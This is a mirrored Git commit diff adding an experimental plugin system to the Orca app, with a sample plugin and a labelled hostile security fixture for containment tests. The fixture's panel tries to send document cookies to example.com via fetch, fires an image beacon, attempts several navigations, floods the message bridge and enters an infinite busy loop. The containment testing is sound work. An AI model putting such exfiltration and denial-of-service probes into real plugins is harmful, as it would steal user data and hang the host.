mirror of
https://github.com/stablyai/orca.git
synced 2026-10-23 00:03:52 +00:00
feat(plugins): Orca plugin system — kernel, content packs, panels, workers, marketplace v0 (experimental)
Adds Orca's experimental plugin system behind a settings flag: a supervised kernel, declarative content packs (VM recipes, commands and keybindings, language packs), sandboxed iframe panels, forked worker hosts, and a Git-backed marketplace v0 with consent, provenance and kill-list enforcement. Theme, icon-theme and terminal-theme contributions are deferred to a follow-up pass.
This commit is contained in:
@@ -0,0 +1,24 @@
|
||||
// Sample Orca plugin worker entry. Runs inside the out-of-process plugin
|
||||
// worker (plain Node, no Electron), forked lazily on the first trigger. The
|
||||
// default export receives the `orca` API: command registration, event
|
||||
// handlers, and the capability-gated host API.
|
||||
export default function activate(orca) {
|
||||
orca.commands.register('hello-ping', async (args) => {
|
||||
const stored = await orca.host.call('storage.get', { key: 'pings' })
|
||||
const count = (typeof stored?.value === 'number' ? stored.value : 0) + 1
|
||||
await orca.host.call('storage.set', { key: 'pings', value: count })
|
||||
return { pong: true, count, args: args ?? null }
|
||||
})
|
||||
|
||||
orca.events.on('worktree.created', async (payload) => {
|
||||
orca.log(`worktree created: ${payload.worktreeId} at ${payload.path}`)
|
||||
await orca.host.call('notifications.show', {
|
||||
title: 'Worktree created',
|
||||
body: payload.path
|
||||
})
|
||||
})
|
||||
|
||||
orca.events.on('agent.status.changed', (payload) => {
|
||||
orca.log(`agent status: ${payload.state} in ${payload.worktreeId ?? 'unknown worktree'}`)
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "hello-orca",
|
||||
"publisher": "orca-samples",
|
||||
"name": "Hello Orca",
|
||||
"version": "1.0.0",
|
||||
"description": "Sample plugin combining a sandboxed panel, a worker command, and event subscriptions.",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"main": "main.mjs",
|
||||
"contributes": {
|
||||
"panels": [{ "id": "hello", "title": "Hello Orca", "icon": "plug", "entry": "panel.html" }],
|
||||
"commands": [{ "id": "hello-ping", "title": "Hello: Ping" }],
|
||||
"events": [{ "on": "worktree.created" }, { "on": "agent.status.changed" }]
|
||||
},
|
||||
"capabilities": [
|
||||
{ "kind": "workspace:read" },
|
||||
{ "kind": "terminal:send" },
|
||||
{ "kind": "notifications:show" },
|
||||
{ "kind": "storage" },
|
||||
{ "kind": "events:subscribe" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<style>
|
||||
/* The host injects Orca design tokens as CSS custom properties, so
|
||||
panels can match the app without any access to it. */
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 12px;
|
||||
font-family: system-ui, sans-serif;
|
||||
font-size: 13px;
|
||||
color: var(--foreground, #ddd);
|
||||
background: var(--background, transparent);
|
||||
}
|
||||
h1 {
|
||||
font-size: 14px;
|
||||
margin: 0 0 8px;
|
||||
}
|
||||
button {
|
||||
display: block;
|
||||
margin: 6px 0;
|
||||
padding: 6px 10px;
|
||||
border: 1px solid var(--border, #555);
|
||||
border-radius: 6px;
|
||||
background: var(--secondary, #2a2a2a);
|
||||
color: var(--foreground, #ddd);
|
||||
cursor: pointer;
|
||||
font: inherit;
|
||||
}
|
||||
select {
|
||||
margin: 6px 0;
|
||||
max-width: 100%;
|
||||
}
|
||||
.status {
|
||||
margin-top: 10px;
|
||||
min-height: 1.4em;
|
||||
color: var(--muted-foreground, #999);
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hello Orca 👋</h1>
|
||||
<p>Panel + worker command + events, gated by consent.</p>
|
||||
<button id="ctx">Read workspace context</button>
|
||||
<select id="terms" hidden></select>
|
||||
<button id="send" hidden>Type "echo hi from plugin" into selected terminal</button>
|
||||
<button id="notify">Show a notification</button>
|
||||
<p class="status" id="status"></p>
|
||||
<script>
|
||||
'use strict'
|
||||
var seq = 0
|
||||
var pending = {}
|
||||
var statusEl = document.getElementById('status')
|
||||
var termsEl = document.getElementById('terms')
|
||||
|
||||
function call(action, params) {
|
||||
return new Promise(function (resolve) {
|
||||
var requestId = 'req-' + ++seq
|
||||
pending[requestId] = resolve
|
||||
// The panel frame is an opaque origin, so '*' is the only usable
|
||||
// targetOrigin; the host verifies the sending window instead.
|
||||
window.parent.postMessage(
|
||||
{ type: 'orca-panel-action', requestId: requestId, action: action, params: params },
|
||||
'*'
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
window.addEventListener('message', function (event) {
|
||||
var data = event.data
|
||||
if (!data || data.type !== 'orca-panel-action-result') return
|
||||
var resolve = pending[data.requestId]
|
||||
if (!resolve) return
|
||||
delete pending[data.requestId]
|
||||
resolve(data)
|
||||
})
|
||||
|
||||
document.getElementById('ctx').addEventListener('click', function () {
|
||||
call('workspace.readContext').then(function (result) {
|
||||
if (!result.ok) {
|
||||
statusEl.textContent = 'context failed: ' + (result.error || result.errorCode)
|
||||
return
|
||||
}
|
||||
if (!result.value) {
|
||||
statusEl.textContent = 'no focused worktree'
|
||||
return
|
||||
}
|
||||
statusEl.textContent = result.value.displayName + ' on branch ' + result.value.branch
|
||||
termsEl.innerHTML = ''
|
||||
result.value.terminals.forEach(function (terminal) {
|
||||
var option = document.createElement('option')
|
||||
option.value = terminal.id
|
||||
option.textContent = terminal.id
|
||||
termsEl.appendChild(option)
|
||||
})
|
||||
termsEl.hidden = result.value.terminals.length === 0
|
||||
document.getElementById('send').hidden = result.value.terminals.length === 0
|
||||
})
|
||||
})
|
||||
|
||||
document.getElementById('send').addEventListener('click', function () {
|
||||
// Explicit terminal id — the API has no "active terminal" target.
|
||||
call('terminal.sendText', {
|
||||
terminalId: termsEl.value,
|
||||
text: 'echo hi from plugin',
|
||||
enter: true
|
||||
}).then(function (result) {
|
||||
statusEl.textContent = result.ok
|
||||
? 'typed (accepted=' + result.value.accepted + ')'
|
||||
: 'send failed: ' + (result.error || result.errorCode)
|
||||
})
|
||||
})
|
||||
|
||||
document.getElementById('notify').addEventListener('click', function () {
|
||||
call('notifications.show', { title: 'Hello from the panel' }).then(function (result) {
|
||||
statusEl.textContent = result.ok
|
||||
? 'notification delivered=' + result.value.delivered
|
||||
: 'notify failed: ' + (result.error || result.errorCode)
|
||||
})
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "hostile-panel",
|
||||
"publisher": "orca-samples",
|
||||
"name": "Hostile Panel (security fixture)",
|
||||
"version": "1.0.0",
|
||||
"description": "Deliberately hostile panel used by the plugin containment tests: exfiltration, navigation, message floods, busy loops. Never grant it anything.",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"contributes": {
|
||||
"panels": [
|
||||
{ "id": "hostile", "title": "Hostile Fixture", "icon": "bug", "entry": "panel.html" }
|
||||
]
|
||||
},
|
||||
"capabilities": []
|
||||
}
|
||||
@@ -0,0 +1,206 @@
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<!-- Security test fixture: every attempt below MUST be contained by the
|
||||
host-injected CSP, the iframe sandbox, and the bridge budgets. Each
|
||||
probe reports pass/fail into the DOM so the containment run is
|
||||
directly observable in the panel. -->
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hostile panel fixture</h1>
|
||||
<ul id="results"></ul>
|
||||
<button id="bridge">Run bridge budget probes</button>
|
||||
<button id="navigate-top">Try top navigation</button>
|
||||
<button id="navigate-self">Try self navigation</button>
|
||||
<button id="navigate-anchor-form">Try anchor and form navigation</button>
|
||||
<button id="navigate-meta">Try meta refresh navigation</button>
|
||||
<button id="busy">Enter busy loop (watchdog probe)</button>
|
||||
<script>
|
||||
'use strict'
|
||||
// The main-process guard must bind the frame before plugin parsing.
|
||||
window.name = ''
|
||||
var results = document.getElementById('results')
|
||||
function report(name, contained, detail) {
|
||||
if (document.querySelector('[data-probe="' + name + '"]')) return
|
||||
var li = document.createElement('li')
|
||||
li.dataset.probe = name
|
||||
li.dataset.contained = contained ? 'true' : 'false'
|
||||
li.textContent =
|
||||
name + ': ' + (contained ? 'CONTAINED' : 'ESCAPED') + (detail ? ' — ' + detail : '')
|
||||
results.appendChild(li)
|
||||
document.title = 'probes:' + results.children.length
|
||||
}
|
||||
|
||||
// Probe 1: fetch() exfiltration — must be blocked by connect-src 'none'.
|
||||
var cookieValue = 'x'
|
||||
try {
|
||||
cookieValue = document.cookie || 'x'
|
||||
} catch (_) {
|
||||
// Opaque-origin frames may reject cookie access before CSP runs.
|
||||
}
|
||||
fetch('https://example.com/exfil?d=' + encodeURIComponent(cookieValue))
|
||||
.then(function () {
|
||||
report('fetch-exfil', false, 'request succeeded')
|
||||
})
|
||||
.catch(function () {
|
||||
report('fetch-exfil', true)
|
||||
})
|
||||
|
||||
// Probe 2: <img> beacon — must be blocked by img-src data: only.
|
||||
var img = new Image()
|
||||
var settled = false
|
||||
img.onload = function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', false, 'image loaded')
|
||||
}
|
||||
}
|
||||
img.onerror = function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', true)
|
||||
}
|
||||
}
|
||||
img.src = 'https://example.com/beacon.gif'
|
||||
setTimeout(function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', true, 'no load event')
|
||||
}
|
||||
}, 3000)
|
||||
|
||||
// Navigation probes are opt-in so a failed attempt cannot erase the
|
||||
// network and bridge evidence before the harness observes it.
|
||||
document.getElementById('navigate-top').addEventListener('click', function () {
|
||||
try {
|
||||
window.top.location.href = 'https://example.com/'
|
||||
setTimeout(function () {
|
||||
report('top-navigation', window.top !== window)
|
||||
}, 0)
|
||||
} catch (error) {
|
||||
report('top-navigation', true, error.name)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('navigate-self').addEventListener('click', function () {
|
||||
try {
|
||||
window.location.href = 'https://example.com/self-navigation'
|
||||
setTimeout(function () {
|
||||
report('self-navigation', true)
|
||||
}, 0)
|
||||
} catch (error) {
|
||||
report('self-navigation', true, error.name)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('navigate-anchor-form').addEventListener('click', function () {
|
||||
var anchor = document.createElement('a')
|
||||
anchor.href = 'https://example.com/anchor-navigation'
|
||||
anchor.textContent = 'Navigation probe'
|
||||
document.body.appendChild(anchor)
|
||||
anchor.click()
|
||||
|
||||
var form = document.createElement('form')
|
||||
form.action = 'https://example.com/form-navigation'
|
||||
document.body.appendChild(form)
|
||||
form.requestSubmit()
|
||||
setTimeout(function () {
|
||||
report('anchor-form-navigation', true)
|
||||
}, 0)
|
||||
})
|
||||
|
||||
document.getElementById('navigate-meta').addEventListener('click', function () {
|
||||
var refresh = document.createElement('meta')
|
||||
refresh.httpEquiv = 'refresh'
|
||||
refresh.content = '0;url=https://example.com/meta-refresh'
|
||||
document.head.appendChild(refresh)
|
||||
setTimeout(function () {
|
||||
report('meta-refresh-navigation', true)
|
||||
}, 0)
|
||||
})
|
||||
|
||||
// Probe 7: an oversized valid-looking call must receive a real refusal.
|
||||
window.addEventListener('message', function (event) {
|
||||
var data = event.data
|
||||
if (event.source !== window.parent || !data || data.type !== 'orca-panel-action-result') {
|
||||
return
|
||||
}
|
||||
if (data.requestId === 'oversized-probe') {
|
||||
report(
|
||||
'oversized-message',
|
||||
!data.ok && data.errorCode === 'invalid_request',
|
||||
data.errorCode || 'unexpected success'
|
||||
)
|
||||
}
|
||||
if (data.requestId === 'flood-result') {
|
||||
report(
|
||||
'message-flood',
|
||||
!data.ok && data.errorCode === 'rate_limited',
|
||||
data.errorCode || 'unexpected success'
|
||||
)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('bridge').addEventListener('click', function () {
|
||||
window.parent.postMessage(
|
||||
{
|
||||
type: 'orca-panel-action',
|
||||
requestId: 'oversized-probe',
|
||||
action: 'workspace.readContext',
|
||||
params: { padding: 'x'.repeat(128 * 1024) }
|
||||
},
|
||||
'*'
|
||||
)
|
||||
setTimeout(function () {
|
||||
report('oversized-message', false, 'host sent no refusal')
|
||||
}, 2000)
|
||||
|
||||
// Probe 8: invalid, pong, and binary floods must all spend rate budget
|
||||
// before parsing; the final valid call is the observable oracle.
|
||||
setTimeout(function () {
|
||||
for (var i = 0; i < 40; i++) {
|
||||
var payload =
|
||||
i % 3 === 0
|
||||
? { type: 'orca-panel-pong', pingId: i }
|
||||
: i % 3 === 1
|
||||
? { type: 'invalid-hostile-message', sequence: i }
|
||||
: new Uint8Array(2048)
|
||||
window.parent.postMessage(payload, '*')
|
||||
}
|
||||
window.parent.postMessage(
|
||||
{
|
||||
type: 'orca-panel-action',
|
||||
requestId: 'flood-result',
|
||||
action: 'workspace.readContext',
|
||||
params: {}
|
||||
},
|
||||
'*'
|
||||
)
|
||||
setTimeout(function () {
|
||||
report('message-flood', false, 'host sent no rate-limit refusal')
|
||||
}, 2000)
|
||||
}, 150)
|
||||
})
|
||||
|
||||
// Probe 9: opt-in busy loop. The watchdog should demote the panel while
|
||||
// Chromium keeps the sandboxed frame in its isolated renderer process.
|
||||
function enterBusyLoop() {
|
||||
report('busy-loop', true, 'watchdog should suspend this panel')
|
||||
while (true) {
|
||||
// Deliberately hostile fixture.
|
||||
}
|
||||
}
|
||||
document.getElementById('busy').addEventListener('click', enterBusyLoop)
|
||||
window.addEventListener('message', function (event) {
|
||||
if (
|
||||
event.source === window.parent &&
|
||||
event.data &&
|
||||
event.data.type === 'orca-hostile-busy-probe'
|
||||
) {
|
||||
enterBusyLoop()
|
||||
}
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user